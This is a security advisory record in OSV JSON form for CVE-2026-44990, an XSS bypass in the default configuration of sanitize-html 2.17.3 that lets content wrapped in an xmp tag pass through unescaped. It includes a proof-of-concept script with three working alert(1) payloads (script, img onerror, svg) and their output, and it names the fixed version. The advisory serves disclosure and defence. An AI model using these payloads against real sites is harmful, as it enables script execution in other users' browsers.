CVE-2026-44990: Sanitize html Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rpr9-rxv7-x643",
  "modified" : "2026-06-12T22:02:01Z",
  "published" : "2026-05-14T18:26:27Z",
  "aliases" : [ "CVE-2026-44990" ],
  "summary" : "Apostrophe has default XSS via `xmp` raw-text passthrough in `sanitize-html`",
  "details" : "### Summary\nUnder the default configuration, `sanitize-html` can turn attacker-controlled content inside a disallowed `xmp` element into live HTML or JavaScript. This is a sanitizer bypass in the default `disallowedTagsMode: 'discard'` path and can lead to stored XSS in applications that render sanitized output back to users.\n\n### Details\nIn `sanitize-html@2.17.3`, the default `nonTextTags` list includes only `script`, `style`, `textarea`, and `option` in `index.js` lines 138-142. That means disallowed `xmp` tags are not treated as \"drop the entire contents\" tags.\n\nLater, in the `ontext` handler at `index.js` lines 569-577, the code special-cases `textarea` and `xmp` and appends their text content directly to the output without escaping:\n\n```js\n} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) {\n  result += text;\n}\n```\n\nBecause `htmlparser2` treats `xmp` as a raw-text element, markup inside `xmp` is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output.\n\nThis creates a default sanitizer bypass. For example, a disallowed `<xmp>` wrapper can be used to smuggle `<script>` or event-handler payloads through sanitization.\n\nThe README also appears to contradict the implementation. In the \"Discarding the entire contents of a disallowed tag\" section, the documented exception list names only `style`, `script`, `textarea`, and `option`, and does not mention `xmp`.\n\n### PoC\nTested locally against `sanitize-html@2.17.3` on Node.js `v25.2.1`.\n\n1. Install the package:\n\n```bash\nnpm install sanitize-html\n```\n\n2. Run the following script:\n\n```js\nconst sanitizeHtml = require('sanitize-html');\n\nconsole.log(sanitizeHtml('<xmp><script>alert(1)</script></xmp>'));\nconsole.log(sanitizeHtml('<xmp><img src=x onerror=alert(1)></xmp>'));\nconsole.log(sanitizeHtml('<xmp><svg><script>alert(1)</script></svg></xmp>'));\n```\n\n3. Observed output:\n\n```html\n<script>alert(1)</script>\n<img src=x onerror=alert(1)>\n<svg><script>alert(1)</script></svg>\n```\n\n4. Render any of the returned strings in a browser context that trusts `sanitize-html` output, for example:\n\n```js\nconst dirty = '<xmp><script>alert(1)</script></xmp>';\nconst clean = sanitizeHtml(dirty);\n```\n\nIf `clean` is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes.\n\n### Impact\nThis is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses `sanitize-html` defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sanitize-html"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.17.3"
      }, {
        "fixed" : "2.17.4"
      } ]
    } ],
    "versions" : [ "2.17.3" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-rpr9-rxv7-x643"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44990"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/issues/5418"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/8d4c882b4ed3a7ce802cd87f89f0c1cb7482b8c2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T18:26:27Z",
    "nvd_published_at" : "2026-06-12T21:16:22Z"
  }
}